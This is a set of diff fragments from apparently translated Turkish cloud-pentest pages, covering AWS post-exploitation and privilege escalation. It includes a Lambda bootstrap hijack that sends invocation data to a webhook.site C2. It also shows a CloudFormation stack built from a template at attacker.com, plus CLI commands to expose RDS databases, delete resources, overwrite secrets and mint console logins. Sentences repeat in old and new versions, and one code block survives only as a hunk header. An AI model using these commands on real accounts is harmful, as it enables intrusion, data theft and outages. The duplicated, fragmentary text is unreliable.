2. Init süreci, bazı ilginç uç noktalarıığa çıkaran **9001** portunu dinler:
- **`/2018-06-01/runtime/invocation/next`** bir sonraki invocation olayını al
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** invoke için handler yanıtını döndür
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** bir yürütme hatası döndür
3. **bootstrap.py**, init sürecinden çağrıları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (**`/next`**).
3. **bootstrap.py**, init sürecinden invocation'ları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (**`/next`**).
4. Son olarak, **bootstrap.py** init'e **yanıtı** gönderir.
Bootstrap'ın kullanıcı kodunu bir modül olarak yüklediğini unutmayın, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütmesi aslında bu süreçte gerçekleşmektedir.
## Lambda İsteklerini Çalmak
Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen **`bootstrap.py`** süreci içinde kötü niyetli bir **`bootstrap.py`** süreci çalıştırmasını sağlamaktır. Bu şekilde, **kötü niyetli bootstrap** süreci, istekleri işlemek için **init süreciyle** **iletişim kurmaya** başlayacakken, **meşru** bootstrap **tuzağa düşmüş** olarak kötü niyetli olanı çalıştıracak, böylece init sürecine istek istemeyecek.
Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen **`bootstrap.py`** süreci içinde kötü niyetli bir **`bootstrap.py`** süreci çalıştırmasını sağlamaktır. Bu şekilde, **kötü niyetli bootstrap** süreci, istekleri işlemek için **init süreciyle** **iletişim kurmaya** başlayacakken, **meşru** bootstrap, kötü niyetli olanı çalıştırarak **tuzağa düşürülmüş** olacaktır, böylece init sürecine istek sormayacaktır.
Bu, kullanıcı kodunun meşru **`bootstrap.py`** süreci tarafından yürütüldüğü için basit bir görevdir. Böylece saldırgan:
- **Mevcut çağrının sahte bir sonucunu init sürecine gönderebilir**, böylece init bootstrap sürecinin daha fazla çağrı beklediğini düşünebilir.
- **Mevcut invocation'ın sahte bir sonucunu init sürecine gönderebilir**, böylece init, bootstrap sürecinin daha fazla invocation beklediğini düşünebilir.
- **`/${invoke-id}/response`** adresine bir istek gönderilmelidir.
- Invoke-id, meşru **`bootstrap.py`** sürecinin yığınından [**inspect**](https://docs.python.org/3/library/inspect.html) python modülünü kullanarak elde edilebilir (burada [önerildiği gibi](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) veya sadece tekrar **`/2018-06-01/runtime/invocation/next`** adresine istekte bulunarak elde edilebilir (burada [önerildiği gibi](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
- Bir sonraki çağrıları yönetecek kötü niyetli bir **`boostrap.py`** çalıştırın.
- Gizlilik amacıyla, lambda çağrı parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür.
- Bu saldırı için, **`bootstrap.py`**'nin orijinal kodunu sistemden veya [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda çağrısından çalıştırmak yeterlidir.
- Bir sonraki invocation'ları yönetecek kötü niyetli bir **`boostrap.py`** çalıştırın.
- Gizlilik amacıyla, lambda invocation parametrelerini saldırganın kontrolündeki bir C2'ye göndermek ve ardından istekleri normal şekilde işlemek mümkündür.
- Bu saldırı için, **`bootstrap.py`**'nin orijinal kodunu sistemden veya [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) üzerinden almak, kötü niyetli kodu eklemek ve mevcut lambda invocation'ından çalıştırmak yeterlidir.
### Saldırı Adımları
1. Bir **RCE**ığı bulun.
2. **Kötü niyetli** bir **bootstrap** oluşturun (örneğin, [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)).
3. **Kötü niyetli bootstrap'ı** **çalıştırın**.
3. Kötü niyetli bootstrap'ı **çalıştırın**.
Bu eylemleri kolayca gerçekleştirebilirsiniz:
```bash
@@ -52,7 +52,7 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
exec(new_runtime)
EOF
```
Daha fazla bilgi için [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher) adresini kontrol edin.
Daha fazla bilgi için kontrol edin [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
## Referanslar

View File

@@ -14,14 +14,14 @@ Daha fazla bilgi için kontrol edin:
Eğer DB anlık görüntülerine sahipse, **eski anlık görüntülerde şu anda silinmiş hassas bilgileri bulma** şansınız olabilir. **Anlık görüntüyü** **yeni bir veritabanında** geri yükleyin ve kontrol edin.
### Örnek Anlık Görüntülerini Geri Yükle
### Instance Anlık Görüntülerini Geri Yükle
Örnek anlık görüntüleri, zaten silinmiş örneklerin veya mevcut örnekte silinmiş hassas bilgilerin **hassas bilgilerini** içerebilir. **Anlık görüntülerden yeni örnekler oluşturun** ve kontrol edin.\
Ya da **anlık görüntüyü EC2'de bir AMI'ye aktarın** ve tipik bir EC2 örneği adımlarını izleyin.
Instance anlık görüntüleri, zaten silinmiş instance'ların **hassas bilgilerini** veya mevcut instance'da silinmiş hassas bilgileri içerebilir. **Anlık görüntülerden yeni instance'lar oluşturun** ve kontrol edin.\
Ya da **anlık görüntüyü EC2'de bir AMI'ye aktarın** ve tipik bir EC2 instance'ının adımlarını izleyin.
### Hassas Bilgilere Erişim
Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerini kontrol edin:
Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerine göz atın:
{{#ref}}
../aws-privilege-escalation/aws-lightsail-privesc.md

View File

@@ -1,4 +1,4 @@
# AWS - Organizasyonlar Sonrası Sömürü
# AWS - Organizasyonlar Sonrası İstismar
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@ AWS Organizasyonları hakkında daha fazla bilgi için kontrol edin:
../aws-services/aws-organizations-enum.md
{{#endref}}
### Org'dan Ayrılın
### Organizasyonu Terketmek
```bash
aws organizations deregister-account --account-id <account_id> --region <region>
```

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Eğer saldırganın yeterli izinleri varsa, bir **DB'yi herkese açık erişilebilir** hale getirebilir; bunun için DB'nin bir anlık görüntüsünü oluşturup, ardından bu anlık görüntüden herkese açık erişilebilir bir DB oluşturabilir.
Eğer saldırganın yeterli izinleri varsa, bir **DB'yi herkese açık hale** getirebilir; bunun için DB'nin bir anlık görüntüsünü oluşturup, ardından bu anlık görüntüden herkese açık bir DB oluşturabilir.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -61,7 +61,7 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
### `rds:DeleteDBInstance`
Bu izinlere sahip bir saldırgan **mevcut RDS örneklerini DoS yapabilir**.
Bu izinlere sahip bir saldırgan **mevcut RDS örneklerine DoS saldırısı** yapabilir.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -70,7 +70,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
### `rds:StartExportTask`
> [!NOTE]
> [!NOT]
> TODO: Test
Bu izne sahip bir saldırgan, **bir RDS örneği anlık görüntüsünü bir S3 kovasına dışa aktarabilir**. Saldırgan, hedef S3 kovası üzerinde kontrol sahibi ise, dışa aktarılan anlık görüntüdeki hassas verilere erişebilir.

View File

@@ -12,11 +12,11 @@ Daha fazla bilgi için kontrol edin:
### Gizli Bilgileri Okuma
**gizli bilgiler kendileri hassas bilgilerdir**, [onları nasıl okuyacağınızı öğrenmek için privesc sayfasını kontrol edin](../aws-privilege-escalation/aws-secrets-manager-privesc.md).
**gizli bilgiler kendileri hassas bilgilerdir**, [privesc sayfasını kontrol edin](../aws-privilege-escalation/aws-secrets-manager-privesc.md) nasıl okunacağını öğrenmek için.
### DoS Gizli Değerini Değiştirme
Gizli değeri değiştirerek, **o değere bağlı olan tüm sistemleri DoS yapabilirsiniz.**
Gizli değeri değiştirerek **o değere bağlı tüm sistemleri DoS yapabilirsiniz.**
> [!WARNING]
> Önceki değerlerin de saklandığını unutmayın, bu nedenle önceki değere geri dönmek kolaydır.
@@ -26,7 +26,7 @@ aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
```
### DoS KMS anahtarını değiştirin
### DoS KMS anahtarını değiştir
```bash
aws secretsmanager update-secret \
--secret-id MyTestSecret \

View File

@@ -17,7 +17,7 @@ Bir e-posta gönder.
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
Hala test edilecek.
Henüz test edilmedi.
### `ses:SendRawEmail`
@@ -25,15 +25,13 @@ Bir e-posta gönder.
```bash
aws ses send-raw-email --raw-message file://message.json
```
Hala test edilecek.
### `ses:SendTemplatedEmail`
Bir şablona dayalı olarak e-posta gönderin.
Bir şablona dayalı bir e-posta gönderin.
```bash
aws ses send-templated-email --source <value> --destination <value> --template <value>
```
Hala test edilecek.
Henüz test edilmedi.
### `ses:SendBulkTemplatedEmail`
@@ -51,7 +49,7 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
```
### `ses:SendBounce`
Alınan bir e-posta üzerinden bir **bounce e-postası** gönderin (e-postanın alınamadığını belirtir). Bu işlem yalnızca **e-postanın alınmasından sonraki 24 saat içinde** yapılabilir.
Bir **bounce email** gönderin, alınan bir e-posta üzerinden (e-postanın alınamadığını belirten). Bu yalnızca **e-postayı aldıktan sonra 24 saat içinde** yapılabilir.
```bash
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
```

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için:
### Mesajları Kesintiye Uğratma
Birçok durumda, SNS konuları izlenen platformlara (e-postalar, slack mesajları...) mesaj göndermek için kullanılır. Bir saldırgan, buluttaki varlığını bildiren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir.
Bazı durumlarda, SNS konuları izlenen platformlara (e-postalar, slack mesajları...) mesaj göndermek için kullanılır. Bir saldırgan, buluttaki varlığını bildiren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir.
### `sns:DeleteTopic`
@@ -36,7 +36,7 @@ Bir saldırgan, bir SNS konusunun özelliklerini değiştirebilir, bu da perform
```bash
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
```
**Potansiyel Etki**: Yanlış yapılandırmalar, performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir.
**Olası Etki**: Yanlış yapılandırmalar, performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir.
### `sns:Subscribe` , `sns:Unsubscribe`
@@ -49,12 +49,12 @@ aws sns unsubscribe --subscription-arn <value>
### `sns:AddPermission` , `sns:RemovePermission`
Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini iptal edebilir, bu da konudan yararlanan uygulamaların normal işleyişinde kesintilere neden olabilir.
Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini iptal edebilir, bu da konuyu kullanan uygulamaların normal işleyişinde kesintilere neden olabilir.
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
aws sns remove-permission --topic-arn <value> --label <value>
```
**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesaj ifşası veya konu manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması.
**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konu manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması.
### `sns:TagResource` , `sns:UntagResource`
@@ -63,6 +63,6 @@ Bir saldırgan, SNS kaynaklarından etiket ekleyebilir, değiştirebilir veya ka
aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws sns untag-resource --resource-arn <value> --tag-keys <key>
```
**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -17,21 +17,21 @@ Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar göndereb
aws sqs send-message --queue-url <value> --message-body <value>
aws sqs send-message-batch --queue-url <value> --entries <value>
```
**Potansiyel Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir.
Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüğünü değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir.
```bash
aws sqs receive-message --queue-url <value>
aws sqs delete-message --queue-url <value> --receipt-handle <value>
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
```
**Potansiyel Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi.
**Olası Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi.
### `sqs:DeleteQueue`
Bir saldırgan, tüm SQS kuyruğunu silebilir, bu da mesaj kaybına neden olur ve kuyruğa bağımlı uygulamaları etkiler.
Bir saldırgan, tüm bir SQS kuyruğunu silebilir, bu da mesaj kaybına neden olur ve kuyruğa bağımlı uygulamaları etkiler.
```arduino
Copy codeaws sqs delete-queue --queue-url <value>
```
@@ -43,7 +43,7 @@ Bir saldırgan, bir SQS kuyruğundaki tüm mesajları temizleyebilir, bu da mesa
```arduino
Copy codeaws sqs purge-queue --queue-url <value>
```
**Potansiyel Etki**: Temizlenen mesajlara bağımlı uygulamalar için mesaj kaybı ve hizmet kesintisi.
**Olası Etki**: Temizlenen mesajlara bağımlı uygulamalar için mesaj kaybı ve hizmet kesintisi.
### `sqs:SetQueueAttributes`
@@ -51,16 +51,16 @@ Bir saldırgan, bir SQS kuyruğunun özelliklerini değiştirebilir, bu da perfo
```arduino
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
```
**Potansiyel Etki**: Yanlış yapılandırmaların performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açması.
**Olası Etki**: Yanlış yapılandırmalar, performans düşüklüğüne, güvenlik sorunlarına veya azalmış kullanılabilirliğe yol açabilir.
### `sqs:TagQueue` , `sqs:UntagQueue`
Bir saldırgan, SQS kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
Bir saldırgan, SQS kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir.
```bash
aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
aws sqs untag-queue --queue-url <value> --tag-keys <key>
```
**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması.
### `sqs:RemovePermission`
@@ -68,6 +68,6 @@ Bir saldırgan, SQS kuyruğuna bağlı politikaları kaldırarak meşru kullanı
```arduino
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
```
**Potansiyel Etki**: Yetkisiz izin kaldırılması nedeniyle kuyruğa bağımlı uygulamaların normal işleyişinin kesintiye uğraması.
**Potansiyel Etki**: Kuyruğa bağımlı uygulamaların normal işleyişinin bozulması, yetkisiz izin kaldırma nedeniyle.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
Bu izinler, izinleri kesintiye uğratmak için kullanılabilir:
Bu izinler, izinleri bozmak için kullanılabilir:
```bash
aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

View File

@@ -37,7 +37,7 @@ aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
### `states:UpdateMapRun`
Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısını değiştirebilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışması başarısız olur, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir.
Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısını değiştirebilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışmasının başarısız olmasına neden olabilir, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir.
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
@@ -52,7 +52,7 @@ Bu izne sahip bir saldırgan, herhangi bir durum makinesinin yürütülmesini du
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```
- **Potansiyel Etki**: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraksama ve potansiyel veri bozulması.
- **Potansiyel Etki**: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraklama ve potansiyel veri bozulması.
### `states:TagResource`, `states:UntagResource`
@@ -61,6 +61,6 @@ Bir saldırgan, Step Functions kaynaklarından etiketler ekleyebilir, değiştir
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,8 +12,8 @@ Daha fazla bilgi için:
### IAM Kimlik Bilgilerinden Konsola
Eğer bazı IAM kimlik bilgilerini elde etmeyi başardıysanız, **web konsoluna erişim sağlamayı** aşağıdaki araçları kullanarak düşünebilirsiniz.\
Kullanıcının/rolün **`sts:GetFederationToken`** iznine sahip olması gerektiğini unutmayın.
Eğer bazı IAM kimlik bilgilerini elde etmeyi başardıysanız, aşağıdaki araçları kullanarak **web konsoluna erişmekle** ilgileniyor olabilirsiniz.\
Kullanıcı/rolün **`sts:GetFederationToken`** iznine sahip olması gerektiğini unutmayın.
#### Özel script
@@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
#### aws_consoler
**Web konsol bağlantısı oluşturabilirsiniz** [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
Bir **web konsol bağlantısı** oluşturabilirsiniz [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
```bash
cd /tmp
python3 -m venv env
@@ -69,7 +68,7 @@ aws_consoler [params...] #This will generate a link to login into the console
#### aws-vault
[**aws-vault**](https://github.com/99designs/aws-vault) AWS kimlik bilgilerini güvenli bir şekilde depolamak ve erişmek için bir geliştirme ortamında kullanılan bir araçtır.
[**aws-vault**](https://github.com/99designs/aws-vault), bir geliştirme ortamında AWS kimlik bilgilerini güvenli bir şekilde saklamak ve erişmek için kullanılan bir araçtır.
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
### **Python'dan User-Agent kısıtlamalarını aşma**
Eğer kullanılan **user agent'a dayalı olarak belirli eylemleri gerçekleştirme kısıtlaması** varsa (örneğin, user agent'a dayalı olarak python boto3 kütüphanesinin kullanımını kısıtlama) önceki tekniği kullanarak **tarayıcı aracılığıyla web konsoluna bağlanmak** mümkündür veya doğrudan **boto3 user-agent'ını** şu şekilde **değiştirebilirsiniz**:
Eğer kullanılan **user agent'a dayalı olarak belirli eylemleri gerçekleştirme kısıtlaması** varsa (örneğin, user agent'a dayalı olarak python boto3 kütüphanesinin kullanımını kısıtlama) önceki tekniği kullanarak **tarayıcı aracılığıyla web konsoluna bağlanmak** mümkündür veya doğrudan **boto3 user-agent'ını** şu şekilde **değiştirebilirsiniz:**
```bash
# Shared by ex16x41
# Create a client

View File

@@ -1,4 +1,4 @@
# AWS - VPN Post Exploitation
# AWS - VPN Sonrası Sömürü
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,14 @@
## AWS Yetki Yükseltme
AWS'de yetkilerinizi yükseltmenin yolu, diğer roller/kullanıcılar/gruplar yetkilerine erişebilecek kadar yeterli izne sahip olmaktır. Yükseltmeleri zincirleme yaparak organizasyon üzerinde yönetici erişimi elde edebilirsiniz.
AWS'de yetkilerinizi yükseltmenin yolu, diğer rol/kullanıcı/grup yetkilerine erişebilecek kadar izne sahip olmaktır. Yönetim erişimine sahip olana kadar yükseltmeleri zincirleme.
> [!WARNING]
> AWS'nin **yüzlerce** (binlerce olmasa da) **izin** verebileceği bir varlık vardır. Bu kitapta, **yetki yükseltmek için kötüye kullanabileceğiniz** **bildiğim tüm izinleri** bulabilirsiniz, ancak burada belirtilmeyen **bir yol biliyorsanız**, **lütfen paylaşın**.
> AWS'nin bir varlığa verilebilecek **yüzlerce** (binlerce değilse) **izin** vardır. Bu kitapta, **yetki yükseltmek için kötüye kullanabileceğiniz** **bildiğim tüm izinleri** bulabilirsiniz, ancak burada belirtilmeyen **bir yol biliyorsanız**, **lütfen paylaşın**.
> [!CAUTION]
> Eğer bir IAM politikası `"Effect": "Allow"` ve `"NotAction": "Someaction"` içeriyorsa ve bu bir **kaynağı** gösteriyorsa... bu, **izin verilen varlığın** **belirtilen eylem dışında HER ŞEYİ yapma iznine sahip olduğu** anlamına gelir.\
> Bu nedenle, bu durumun **bir varlığa ayrıcalıklı izinler vermenin** başka bir yolu olduğunu unutmayın.
> Eğer bir IAM politikası `"Effect": "Allow"` ve `"NotAction": "Someaction"` içeriyorsa ve bu bir **kaynağı** gösteriyorsa... bu, **izin verilen varlığın** belirtilen eylem dışında **HER ŞEYİ yapma iznine sahip olduğu** anlamına gelir.\
> Bu nedenle, bu durumun bir varlığa **ayrıcalıklı izinler vermenin** başka bir yolu olduğunu unutmayın.
**Bu bölümün sayfaları AWS hizmetine göre sıralanmıştır. Orada, yetkilerinizi yükseltmenizi sağlayacak izinleri bulabileceksiniz.**

View File

@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin:
### `apigateway:POST`
Bu izinle, yapılandırılmış API'lerin (bölge başına) API anahtarlarını oluşturabilirsiniz.
Bu izinle, yapılandırılmış API'lerin API anahtarlarını (bölge başına) oluşturabilirsiniz.
```bash
aws --region <region> apigateway create-api-key
```
@@ -20,16 +20,16 @@ aws --region <region> apigateway create-api-key
### `apigateway:GET`
Bu izinle, yapılandırılmış API'lerin (bölge başına) oluşturulan API anahtarlarını alabilirsiniz.
Bu izinle, yapılandırılan API'lerin (bölge başına) oluşturulan API anahtarlarını alabilirsiniz.
```bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
```
**Potansiyel Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz.
**Olası Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz.
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
Bu izinlerle, bir API'nin kaynak politikasını değiştirerek kendinize erişim verme ve API geçidinin sahip olabileceği potansiyel erişimi kötüye kullanma (örneğin, savunmasız bir lambda'yı çağırma) mümkün hale gelir.
Bu izinlerle, bir API'nin kaynak politikasını değiştirerek kendinize erişim verme ve API geçidinin sahip olabileceği potansiyel erişimi kötüye kullanma (örneğin, savunmasız bir lambda'yı çağırma) imkanı vardır.
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
@@ -56,7 +56,7 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
**Potansiyel Etki**: Lambda fonksiyonunun IAM rolü ile ilişkili kaynaklara erişim.
**Olası Etki**: Lambda fonksiyonunun IAM rolü ile ilişkili kaynaklara erişim.
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
@@ -79,10 +79,10 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:UpdateVpcLink`
> [!NOTE]
> [!NOT]
> Test edilmesi gerekiyor
`apigateway:UpdateVpcLink` iznine sahip bir saldırgan, **mevcut bir VPC Bağlantısını farklı bir Ağ Yük Dengeleyicisine yönlendirecek şekilde değiştirebilir, bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirebilir**.
`apigateway:UpdateVpcLink` iznine sahip bir saldırgan, **mevcut bir VPC Bağlantısını farklı bir Ağ Yük Dengeleyicisine yönlendirecek şekilde değiştirebilir, bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirme potansiyeline sahiptir**.
```bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

View File

@@ -4,6 +4,6 @@
### chime:CreateApiKey
YAPILACAK
TODO
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Cloudformation hakkında daha fazla bilgi için kontrol edin:
### `iam:PassRole`, `cloudformation:CreateStack`
Bu izinlere sahip bir saldırgan **yetkileri artırabilir** ve **belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için** kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak:
Bu izinlere sahip bir saldırgan, **belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için** kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak **yetkileri artırabilir:**
```bash
aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
Bu durumda, **mevcut bir cloudformation yığınını** güncelleyerek ve önceki senaryodaki gibi ayrıcalıkları artırarak kötüye kullanabilirsiniz:
Bu durumda, **mevcut bir cloudformation yığınını** kötüye kullanarak güncelleyebilir ve önceki senaryodaki gibi ayrıcalıkları artırabilirsiniz:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
Bu izne sahipseniz ancak **hiç `iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Sömürü örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).
Bu izne sahipseniz ancak **`iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Kötüye kullanım örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).
`cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `UpdateStack` izni vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.
@@ -51,9 +51,9 @@ Bu izne sahipseniz ancak **hiç `iam:PassRole` yoksa**, yine de **kullanılan y
